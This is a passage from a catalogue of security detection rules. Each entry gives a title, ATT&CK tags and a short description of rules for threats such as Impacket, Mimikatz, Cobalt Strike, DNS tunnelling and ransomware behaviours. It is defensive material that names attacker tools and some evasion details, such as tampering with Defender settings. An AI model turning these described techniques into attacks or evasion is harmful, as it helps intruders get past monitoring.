Share on:

Detects suspect command line strings in CMD processes spawned by services.exe. Part of the RedCanary 2023 Threat Detection Report.

Read More
SocGholish NLTest Domain Trust Enumeration (RedCanary Threat Detection Report)

May 10, 2023 · attack.discovery attack.t1482 ·
Share on:

Detects domain trust enumeration with nltest.exe, a procedure associated with SocGholish. Part of the RedCanary 2023 Threat Detection Report.

Read More
SocGholish Script File Whoami Output to File (RedCanary Threat Detection Report)

May 10, 2023 · attack.discovery attack.t1033 ·
Share on:

Detects wscript spawning CMD which in turn runs whoami, with the output of the command directed to a file. Part of the RedCanary 2023 Threat Detection Report.

Read More
Suspicious Network Connections (RedCanary Threat Detection Report)

May 10, 2023 · attack.privilege_escalation attack.t1055 ·
Share on:

Detects notepad making network connections, a potential process injection signal. Part of the RedCanary 2023 Threat Detection Report.

Read More
Suspicious Powershell Commandlets (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of powershell.exe with suspicious cmdlets or options. Part of the RedCanary 2023 Threat Detection Report.

Read More
Unexpected Internal Process Name (RedCanary Threat Detection Report)

May 10, 2023 · attack.defense_evasion attack.t1036.003 ·
Share on:

Detects powershell processes renamed to notepad.exe. This is a narrow example for demonstration purposes only. Part of the RedCanary 2023 Threat Detection Report.

Read More
Windows Scheduled Task Create Shell (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects attempts to establish persistence using schtasks and command shell. Part of the RedCanary 2023 Threat Detection Report.

Read More
Windows Scripting Host Executing JScript Files with MS-DOS Short Names (RedCanary Threat Detection Report)

May 10, 2023 · attack.defense_evasion attack.t1036 ·
Share on:

Detects Windows scripting host executing JavaScript files with MS-DOS shortname formatting, a technique associated with Gootloader. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Reconnaissance (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects the wmic reconnaissance activity. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Shadow Copy Deletion (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects wmic shadow copy deletion activity. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Suspicious Commands (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects the wmic process with suspicious options. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Suspicious Powershell Cmdlets (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects WMI-related suspicious powershell cmdlets. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Suspicious Process Lineage (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects the WMI provider host spawning suspicious processes. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMIC Unusual Module Loads (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects the wmic process module loads potentially to perform application control bypasses. Part of the RedCanary 2023 Threat Detection Report.

Read More
Yellow Cockatoo Powershell Startup Folder Persistence (RedCanary Threat Detection Report)

May 10, 2023 · attack.initial_access attack.defense_evasion attack.t1566 ·
Share on:

Detects .lnk files created by Powershell in the startup folder. Associated with (but not unique to) Yellow Cockatoo, AKA Solarmarker/Jupyter Stealer. Part of the RedCanary 2023 Threat Detection Report.

Read More
Yellow Cockatoo PowerShell Suspicious .NET Methods (RedCanary Threat Detection Report)

May 10, 2023 · attack.initial_access attack.defense_evasion attack.t1566 ·
Share on:

Detects suspicious Powershell script load contents associated with Yellow Cockatoo, AKA Solarmarker/Jupyter Stealer. Part of the RedCanary 2023 Threat Detection Report.

Read More
Account Enumeration on AWS

Apr 21, 2023 · attack.discovery attack.t1592 ·
Share on:

Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.

Read More
AWS EC2 Download Userdata

Apr 21, 2023 · attack.exfiltration attack.t1020 ·
Share on:

Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.

Read More
AWS Macie Evasion

Apr 21, 2023 · attack.defense_evasion attack.t1562.001 ·
Share on:

Detects evade to Macie detection.

Read More
CVE-2021-3156 Exploitation Attempt

Apr 21, 2023 · attack.privilege_escalation attack.t1068 cve.2021.3156 ·
Share on:

Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing required to trigger the heap-based buffer overflow.

Read More
CVE-2021-3156 Exploitation Attempt Bruteforcing

Apr 21, 2023 · attack.privilege_escalation attack.t1068 cve.2021.3156 ·
Share on:

Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing. required to trigger the heap-based buffer overflow.

Read More
Defense evasion via process reimaging

Apr 21, 2023 · attack.defense_evasion ·
Share on:

Detects process reimaging defense evasion technique

Read More
Detection of Possible Rotten Potato

Apr 21, 2023 · attack.privilege_escalation attack.t1134 attack.t1134.002 ·
Share on:

Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE privileges

Read More
Disabled Users Failing To Authenticate From Source Using Kerberos

Apr 21, 2023 · attack.t1110.003 attack.initial_access attack.privilege_escalation ·
Share on:

Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.

Read More
DNSCat2 Powershell Implementation Detection Via Process Creation

Apr 21, 2023 · attack.command_and_control attack.t1071 attack.t1071.004 attack.t1001.003 attack.t1041 ·
Share on:

The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.

Read More
Enumeration via the Global Catalog

Apr 21, 2023 · attack.discovery attack.t1087.002 ·
Share on:

Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.

Read More
Execution via CL_Invocation.ps1 (2 Lines)

Apr 21, 2023 · attack.defense_evasion attack.t1216 ·
Share on:

Detects Execution via SyncInvoke in CL_Invocation.ps1 module

Read More
Execution via CL_Mutexverifiers.ps1 (2 Lines)

Apr 21, 2023 · attack.defense_evasion attack.t1216 ·
Share on:

Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module

Read More
Failed Logins with Different Accounts from Single Source - Linux

Apr 21, 2023 · attack.credential_access attack.t1110 ·
Share on:

Detects suspicious failed logins with different user accounts from a single source system

Read More
Failed Logins with Different Accounts from Single Source System

Apr 21, 2023 · attack.persistence attack.privilege_escalation attack.t1078 ·
Share on:

Detects suspicious failed logins with different user accounts from a single source system

Read More
Failed Mounting of Hidden Share

Apr 21, 2023 · attack.t1021.002 attack.lateral_movement ·
Share on:

Detects repeated failed (outgoing) attempts to mount a hidden share

Read More
Failed NTLM Logins with Different Accounts from Single Source System

Apr 21, 2023 · attack.persistence attack.privilege_escalation attack.t1078 ·
Share on:

Detects suspicious failed logins with different user accounts from a single source system

Read More
File Creation by Office Applications

Apr 21, 2023 · attack.t1204.002 attack.t1047 attack.t1218.010 attack.execution attack.defense_evasion ·
Share on:

This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.

Read More
Files Dropped to Program Files by Non-Priviledged Process

Apr 21, 2023 · attack.persistence attack.defense_evasion attack.t1574 attack.t1574.010 ·
Share on:

Search for dropping of files to Windows/Program Files fodlers by non-priviledged processes

Read More
High DNS Bytes Out

Apr 21, 2023 · attack.exfiltration attack.t1048.003 ·
Share on:

High DNS queries bytes amount from host per short period of time

Read More
High DNS Bytes Out - Firewall

Apr 21, 2023 · attack.exfiltration attack.t1048.003 ·
Share on:

High DNS queries bytes amount from host per short period of time

Read More
High DNS Requests Rate

Apr 21, 2023 · attack.exfiltration attack.t1048.003 attack.command_and_control attack.t1071.004 ·
Share on:

High DNS requests amount from host per short period of time

Read More
High DNS Requests Rate - Firewall

Apr 21, 2023 · attack.exfiltration attack.t1048.003 attack.command_and_control attack.t1071.004 ·
Share on:

High DNS requests amount from host per short period of time

Read More
High NULL Records Requests Rate

Apr 21, 2023 · attack.exfiltration attack.t1048.003 attack.command_and_control attack.t1071.004 ·
Share on:

Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution

Read More
High TXT Records Requests Rate

Apr 21, 2023 · attack.exfiltration attack.t1048.003 attack.command_and_control attack.t1071.004 ·
Share on:

Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution

Read More
Invalid Users Failing To Authenticate From Single Source Using NTLM

Apr 21, 2023 · attack.t1110.003 attack.initial_access attack.privilege_escalation ·
Share on:

Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.

Read More
Invalid Users Failing To Authenticate From Source Using Kerberos

Apr 21, 2023 · attack.t1110.003 attack.initial_access attack.privilege_escalation ·
Share on:

Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.

Read More
Invoke-Obfuscation CLIP+ Launcher

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation Obfuscated IEX Invocation

Apr 21, 2023 · attack.defense_evasion attack.t1027 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework (See reference section for code block)

Read More
Invoke-Obfuscation RUNDLL LAUNCHER

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation STDIN+ Launcher

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation Via Stdin

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Use Clip

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
Large domain name request

Apr 21, 2023 · attack.exfiltration attack.t1048 ·
Share on:

Detects large DNS domain names

Read More
Malicious Service Installations

Apr 21, 2023 · attack.persistence attack.privilege_escalation attack.t1003 attack.t1035 attack.t1050 car.2013-09-005 attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.

Read More
Metasploit Or Impacket Service Installation Via SMB PsExec

Apr 21, 2023 · attack.lateral_movement attack.t1021.002 attack.t1570 attack.execution attack.t1569.002 ·
Share on:

Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation

Read More
Meterpreter or Cobalt Strike Getsystem Service Installation

Apr 21, 2023 · attack.privilege_escalation attack.t1134.001 attack.t1134.002 ·
Share on:

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

Read More
MSI Spawned Cmd and Powershell Spawned Processes

Apr 21, 2023 · attack.privilege_escalation attack.t1548.002 ·
Share on:

This rule looks for Windows Installer service (msiexec.exe) spawning command line and/or powershell that spawns other processes

Read More
Multiple Modsecurity Blocks

Apr 21, 2023 · attack.impact attack.t1499 ·
Share on:

Detects multiple blocks by the mod_security module (Web Application Firewall)

Read More
Multiple Suspicious Resp Codes Caused by Single Client

Apr 21, 2023 · attack.initial_access attack.t1190 ·
Share on:

Detects possible exploitation activity or bugs in a web application

Read More
Multiple Users Failing to Authenticate from Single Process

Apr 21, 2023 · attack.t1110.003 attack.initial_access attack.privilege_escalation ·
Share on:

Detects failed logins with multiple accounts from a single process on the system.

Read More
Multiple Users Remotely Failing To Authenticate From Single Source

Apr 21, 2023 · attack.t1110.003 attack.initial_access attack.privilege_escalation ·
Share on:

Detects a source system failing to authenticate against a remote host with multiple users.

Read More
Network Scans Count By Destination IP

Apr 21, 2023 · attack.discovery attack.t1046 ·
Share on:

Detects many failed connection attempts to different ports or hosts

Read More
Network Scans Count By Destination Port

Apr 21, 2023 · attack.discovery attack.t1046 ·
Share on:

Detects many failed connection attempts to different ports or hosts

Read More
OMIGOD SCX RunAsProvider ExecuteScript

Apr 21, 2023 · attack.privilege_escalation attack.initial_access attack.execution attack.t1068 attack.t1190 attack.t1203 ·
Share on:

Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

Read More
Password Spraying via Explicit Credentials

Apr 21, 2023 · attack.t1110.003 attack.initial_access attack.privilege_escalation ·
Share on:

Detects a single user failing to authenticate to multiple users using explicit credentials.

Read More
Possible DNS Rebinding

Apr 21, 2023 · attack.command_and_control attack.t1043 ·
Share on:

Detects DNS-answer with TTL <10.

Read More
Possible DNS Rebinding

Apr 21, 2023 · attack.initial_access attack.t1189 ·
Share on:

Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).

Read More
Possible DNS Tunneling

Apr 21, 2023 · attack.command_and_control attack.t1071.004 attack.exfiltration attack.t1048.003 ·
Share on:

Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.

Read More
Potential AWS Cloud Email Service Abuse

Apr 21, 2023 · attack.t1583.006 attack.resource_development ·
Share on:

Detects when the email sending feature is enabled for an AWS account and the email address verification request is dispatched in quick succession

Read More
Potential Backup Enumeration on AWS

Apr 21, 2023 · attack.discovery attack.t1580 ·
Share on:

Detects potential enumeration activity targeting an AWS instance backups

Read More
Potential Exfiltration of Compressed Files

Apr 21, 2023 · attack.exfiltration attack.t1560.001 attack.t1005 ·
Share on:

This rule detects potential exfiltration by looking for a few compression extensions in the uri and signs of compression in the mime type, file type, and http body

Read More
Potential Network Enumeration on AWS

Apr 21, 2023 · attack.discovery attack.t1016 ·
Share on:

Detects network enumeration performed on AWS.

Read More
Potential Storage Enumeration on AWS

Apr 21, 2023 · attack.discovery attack.t1619 ·
Share on:

Detects potential enumeration activity targeting AWS storage

Read More
Privilege Escalation Preparation

Apr 21, 2023 · attack.execution attack.t1059.004 ·
Share on:

Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.

Read More
Quick Execution of a Series of Suspicious Commands

Apr 21, 2023 · car.2013-04-002 attack.execution attack.t1059 ·
Share on:

Detects multiple suspicious process in a limited timeframe

Read More
Reconnaissance Activity Using BuiltIn Commands

Apr 21, 2023 · attack.discovery attack.t1087 attack.t1082 car.2016-03-001 ·
Share on:

Detects execution of a set of builtin commands often used in recon stages by different attack groups

Read More
Remote Service Creation

Apr 21, 2023 · attack.lateral_movement attack.persistence attack.execution attack.t1543.003 ·
Share on:

Detects remote execution via service creation on the destination host

Read More
Sign-in Failure Bad Password Threshold

Apr 21, 2023 · attack.credential_access attack.t1110 ·
Share on:

Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.

Read More
Stored Credentials in Fake Files

Apr 21, 2023 · attack.credential_access attack.t1555 ·
Share on:

Search for accessing of fake files with stored credentials

Read More
Suspicious Multiple File Rename Or Delete Occurred

Apr 21, 2023 · attack.impact attack.t1486 ·
Share on:

Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).

Read More
Suspicious Werfault.exe Network Connection Outbound

Apr 21, 2023 · attack.command_and_control attack.t1571 ·
Share on:

Adversaries can migrate cobalt strike/metasploit/C2 beacons on compromised systems to legitimate werfault.exe process to avoid detection.

Read More
Tap Driver Installation

Apr 21, 2023 · attack.exfiltration attack.t1048 ·
Share on:

Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques

Read More
Valid Users Failing to Authenticate From Single Source Using Kerberos

Apr 21, 2023 · attack.t1110.003 attack.initial_access attack.privilege_escalation ·
Share on:

Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.

Read More
Valid Users Failing to Authenticate from Single Source Using NTLM

Apr 21, 2023 · attack.t1110.003 attack.initial_access attack.privilege_escalation ·
Share on:

Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.

Read More
Windows Kernel and 3rd-Party Drivers Exploits Token Stealing

Apr 21, 2023 · attack.privilege_escalation attack.t1068 ·
Share on:

Detection of child processes spawned with SYSTEM privileges by parents with non-SYSTEM privileges and Medium integrity level

Read More
Impacket AtExec Process Activity

Apr 16, 2023 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

Detect Atexec.py (Impacket) usage to send command output to attacker.

Read More
Possible Impacket GetUserSPNs Activity

Apr 16, 2023 · attack.s0357 attack.credential_access attack.t1558 attack.t1558.003 ·
Share on:

Detects attempts to create vulnerable Kerberos Ticket Granting Service (TGS) tickets using the RC4-HMAC encryption type.

Read More
Suspicious Exe File Event With System Image

Apr 16, 2023 · attack.lateral_movement attack.t1105 ·
Share on:

Detects potential SMB file creation activity associated with Impacket smbclient.py.

Read More
Suspicious Impacket Pipe Creation - Psexec

Apr 16, 2023 · attack.s0357 attack.execution attack.t1569 attack.t1569.002 ·
Share on:

Detects named pipes created as a result of Impacket PSExec.py usage.

Read More
Suspicious Impacket PSExec Temp Executable File Creation

Apr 16, 2023 · attack.s0357 attack.execution attack.t1569 attack.t1569.002 ·
Share on:

Detects PSExec.py (Impacket) suspicious .exe file creation in Windows directory.

Read More
Set autostart key via New-ItemProperty Cmdlet

Mar 21, 2023 ·
Share on:

Set autostart key via New-ItemProperty Cmdlet

Read More
Renamed Autohotkey Binary

Feb 6, 2023 · attack.defense_evasion attack.t1036.003 ·
Share on:

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

Read More
DNS Query From Process with Double File Extension

Jan 30, 2023 · attack.defense_evasion attack.command_and_control attack.t1218 attack.t1218.009 attack.t1071 attack.t1071.004 ·
Share on:

Detects DNS queries from processes with double file extensions, a common method of masquerading or obfuscating a file type in malware delivery. Observed in early 2023 AsyncRAT/Quasar malware delivery using malicious OneNote files.

Read More
Download by Process with Double File Extension

Jan 30, 2023 · attack.defense_evasion attack.command_and_control attack.t1218 attack.t1218.009 attack.t1071 attack.t1071.004 ·
Share on:

Detects downloads by processes with double file extensions, a common method of masquerading or obfuscating a file type in malware delivery. Observed in early 2023 AsyncRAT/Quasar malware delivery using malicious OneNote files.

Read More
File Creation by Process with Double File Extension

Jan 30, 2023 · attack.defense_evasion attack.command_and_control attack.t1218 attack.t1218.009 attack.t1071 attack.t1071.004 ·
Share on:

Detects file creations by processes with double file extensions, a common method of masquerading or obfuscating a file type in malware delivery. Observed in early 2023 AsyncRAT/Quasar malware delivery using malicious OneNote files.

Read More
Impacket AtExec Suspicious Registry Modification

Jan 30, 2023 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

Detects Atexec.py (Impacket) suspicious registry key addition.

Read More
Impacket AtExec Suspicious Temp File Creation

Jan 30, 2023 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

Detects Atexec.py (Impacket) suspicious file creation in Windows temp directory.

Read More
Network Connection From Process with Double File Extension

Jan 30, 2023 · attack.defense_evasion attack.command_and_control attack.t1218 attack.t1218.009 attack.t1071 attack.t1071.004 ·
Share on:

Detects network connections from processes with double file extensions, a common method of masquerading or obfuscating a file type in malware delivery. Observed in early 2023 AsyncRAT/Quasar malware delivery using malicious OneNote files.

Read More
Possible Impacket AtExec Activity

Jan 30, 2023 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

Detect Impacket atexec.py usage in Windows task scheduler logs. If detected, these events will appear to be logged simultaneously and will all contain the same eight-letter task name.

Read More
Process Creation With Double File Extension

Jan 30, 2023 · attack.defense_evasion attack.t1036 attack.t1036.007 ·
Share on:

Detects process creation utilizing double file extensions, a common method of masquerading or obfuscating a file type in malware delivery. Observed in early 2023 AsyncRAT/Quasar malware delivery using malicious OneNote files.

Read More
Suspicious Command Line Containing Right-to-Left Override

Jan 30, 2023 · attack.defense_evasion attack.t1036 attack.t1036.002 ·
Share on:

Detects the presence of the u202+E character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence. This is used in obfuscation and masquerading techniques.

Read More
Suspicious Process Injection to RegAsm

Jan 30, 2023 · attack.defense_evasion attack.t1218 attack.t1218.009 ·
Share on:

Detects potential process injection of RegAsm.exe as indicated by lack of command-line arguments. This was observed in a recent campaign to distribute AsyncRAT and Quasar RAT using malicious OneNot files.

Read More
External Remote Service Logon from Public IP

Jan 23, 2023 · attack.initial_access attack.credential_access attack.t1133 attack.t1078 attack.t1110 ·
Share on:

Detects successful logon from public IP address via RDP, SMB, etc. This can indicate a publicly-exposed RDP or SMB port.

Read More
ONENOTE drops suspicious file

Jan 13, 2023 ·
Share on:

ONENOTE drops suspicious file

Read More
Suspicious Registry Key Added: LanmanServer Parameters

Jan 12, 2023 · attack.command_and_control attack.defense_evasion attack.t1105 attack.t1562 ·
Share on:

Detects registry addition for LanmanServer MaxMpxCt. BlackCat does this to increase the number of outstanding requests allowed, such as SMB requests to distribute ransomware through an environment.

Read More
Suspicious Registry Key Set (MaxMpxCt)

Jan 12, 2023 · attack.command_and_control attack.defense_evasion attack.t1105 attack.t1562 ·
Share on:

Detects registry value set to change MaxMpxCt settings. BlackCat does this to increase the number of outstanding requests allowed, such as SMB requests to distribute ransomware through an environment.

Read More
Powershell MS Defender Tampering - ScriptBlockLogging

Jan 12, 2023 · attack.defense_evasion attack.t1562 attack.t1562.001 ·
Share on:

Detects powershell scripts attempting to disable MS Defender components using Set-MpPreference as performed by Vice Society ransomware gang. This includes additional techniques to evade existing rules by feeding in a proxy value of $true using a powershell boolean expression like (0 -eq $false).

Read More
Driverquery Lookup

Jan 9, 2023 · attack.discovery attack.t1082 ·
Share on:

Detects use of driverquery to look up the installed and configured drivers as part of host discovery

Read More
Mshta Executing from Registry

Jan 9, 2023 · attack.defense_evasion attack.t1218.005 ·
Share on:

Detects a Mshta executing code from the registry

Read More
Nslookup Local

Jan 9, 2023 · attack.discovery attack.t1016 ·
Share on:

Detects use of nslookup to look up the local nameserver as part of host discovery

Read More
System Time Lookup

Jan 9, 2023 · attack.discovery attack.t1124 ·
Share on:

Detects use of time to look up the system time as part of host discovery

Read More
Ursnif Loader

Jan 9, 2023 ·
Share on:

Detects a very specific command the Ursnif loader runs.

Read More
Default Account Usage

Jan 8, 2023 · attack.t1136 attack.t1136.001 ·
Share on:

Threat actor (APT35) created user, enabled it, set password, add to admins and remote desktop users.

Read More
Potential SMB DLL Lateral Movement

Jan 8, 2023 · attack.lateral_movement attack.t1570 ·
Share on:

Detection of potential us of SMB to transfer DLL's into the ProgramData folder of hosts for purposes of lateral movement.

Read More
PSEXEC Custom Named Service Binary

Jan 8, 2023 ·
Share on:

PSEXEC execututed with non default service binary name

Read More
Scheduled task executing powershell encoded payload from registry

Jan 8, 2023 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.

Read More
Webshell Usage with ManageEngine Product

Jan 8, 2023 · attack.persistence attack.t1505.003 ·
Share on:

Detection of a webshell in a ManageEngine internet accessible directory.

Read More
AnyDesk Network

Jan 8, 2023 · attack.lateral_movement attack.t1133 attack.command_and_control attack.t1219 ·
Share on:

Detects use of AnyDesk

Read More
Bumblebee WmiPrvSE execution pattern

Jan 8, 2023 · attack.defense_evasion attack.t1036 ·
Share on:

Detects Bumblebee WmiPrvSE parent process manipulation

Read More
CHCP CodePage Locale Lookup

Jan 8, 2023 · attack.discovery attack.t1614.001 ·
Share on:

Detects use of chcp to look up the system locale value as part of host discovery

Read More
Emotet Child Process Spawn Pattern

Jan 8, 2023 · attack.discovery attack.t1087 ·
Share on:

Detects Emotet Spawning ipconfig and systeminfo.

Read More
Enable WDigest using PowerShell (ps_module)

Jan 8, 2023 · attack.defense_evasion attack.t1112 ·
Share on:

Rule to detect registry modifications to enable WDigest using powershell script modules.

Read More
Mimikatz Command Line With Ticket Export

Jan 8, 2023 · attack.credential_access attack.t1003 attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 ·
Share on:

Detection of well-known mimikatz command line arguments. Added more commandline indicators from referenced rule by author - Teymur Kheirkhabarov, oscd.community

Read More
MOFComp Execution

Jan 8, 2023 · attack.execution attack.t1546.003 ·
Share on:

Detects abuse of mofcomp to load WMI classes i.e. to create WMI event subscriptions

Read More
Operator Bloopers Cobalt Strike Commands

Jan 8, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects use of Cobalt Strike commands accidentally entered in the CMD shell

Read More
Operator Bloopers Cobalt Strike Modules

Jan 8, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects use of Cobalt Strike module commands accidentally entered in the CMD shell

Read More
SplashTop Network

Jan 8, 2023 · attack.lateral_movement attack.t1133 attack.command_and_control attack.t1219 ·
Share on:

Detects use of SplashTop

Read More
SplashTop Process

Jan 8, 2023 · attack.lateral_movement attack.t1133 attack.command_and_control attack.t1219 ·
Share on:

Detects use of SplashTop

Read More
Suspicious Commands by SQL Server

Jan 8, 2023 · attack.initial_access attack.persistence attack.privilege_escalation ·
Share on:

Detects suspicious commands created from sqlservr process.

Read More
ISO Image Mount

Dec 28, 2022 · attack.initial_access attack.t1566.001 ·
Share on:

Detects the mount of ISO images on an endpoint

Read More
ISO, VHD, LNK or IMG File Extracted from Zip (Sysmon)

Dec 28, 2022 · attack.s0650 attack.s0483 attack.defense_evasion attack.t1027 attack.t1027.006 attack.t1564 ·
Share on:

Detects extraction of ISO, VHD, LNK, or IMG files from zip files. Commonly associated with QakBot and IcedID.

Read More
Suspicious User-Initiated Process Execution on External Drive (Old)

Dec 28, 2022 · attack.s0650 attack.s0483 attack.execution attack.t1059 attack.t1204 attack.t1204.002 ·
Share on:

Detects command/scripting interpreter-created processes executing on an external drive. This will detect common instances of malware using LNK files to obscure malicious commands for user execution. Commonly associated with QakBot and IcedID.

Read More
Suspicious User-Initiated Process Execution on External Drive (Sysmon)

Dec 28, 2022 · attack.s0650 attack.s0483 attack.execution attack.t1059 attack.t1204 attack.t1204.002 ·
Share on:

Detects command/scripting interpreter-created processes executing on an external drive. This will detect common instances of malware using LNK files to obscure malicious commands for user execution. Commonly associated with QakBot and IcedID.

Read More
Web Browser Creates Zip Archive File (Sysmon)

Dec 28, 2022 · attack.s0650 attack.s0483 attack.defense_evasion attack.t1027 attack.t1027.006 ·
Share on:

Detects browser applications creating archive/container files such as zip, rar, or 7z, as occurs during an HTML smuggling attack where a browser decodes and executes malicious code within an HTML file. Commonly associated with QakBot and IcedID.

Read More
Suspicious Use of Rcedit Utility to Alter Executable Metadata

Dec 12, 2022 · attack.defense_evasion attack.t1036.003 attack.t1036 attack.t1027.005 attack.t1027 ·
Share on:

Detects the suspicious use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.

Read More
Command or Scripting Interpreter Creating EXE File

Dec 12, 2022 · attack.defense_evasion attack.t1036.003 attack.t1036 ·
Share on:

Detects the suspicious child use of shell or scripting interpreter to create a file ending in exe.

Read More
File Creation of Executables in Temp Folders (Event 4663)

Dec 12, 2022 · attack.defense_evasion attack.t1036.003 attack.t1036 ·
Share on:

Detects creation of files potentially matching attempts to copy executables to temporary directories to hide usage.

Read More
Process Creation without .exe File Extension

Dec 12, 2022 · attack.defense_evasion attack.t1036.003 attack.t1036 attack.s1020 ·
Share on:

Detects process creations where the Image does not have a .exe file extension.

Read More
Suspicious Command Line Indicating BlackCat Execution

Dec 6, 2022 · attack.execution attack.t1059 attack.t1204 ·
Share on:

Detects process execution with the --access-token flag accompanied by a 64-character alphanumeric string in the space-delimited command-line arguments..

Read More
Suspicious Command Line Indicating BlackCat Execution with Get UUID Option

Dec 6, 2022 · attack.execution attack.t1059 attack.t1204 ·
Share on:

Detects process execution with the --access-token flag accompanied by a child process with a 'get uuid' option.

Read More
Suspicious Fsutil Execution Allowing Remote Connections

Dec 6, 2022 · attack.persistence attack.t1547 ·
Share on:

Detects the use of fsutil to permit additional types of symbolic links on a computer. These can be used to enable ransomware to follow shortcusts to find all files it wants to encrypt.

Read More
Suspicious Process Execution in PerfLogs Directory

Dec 6, 2022 · attack.defense_evasion attack.t1564 ·
Share on:

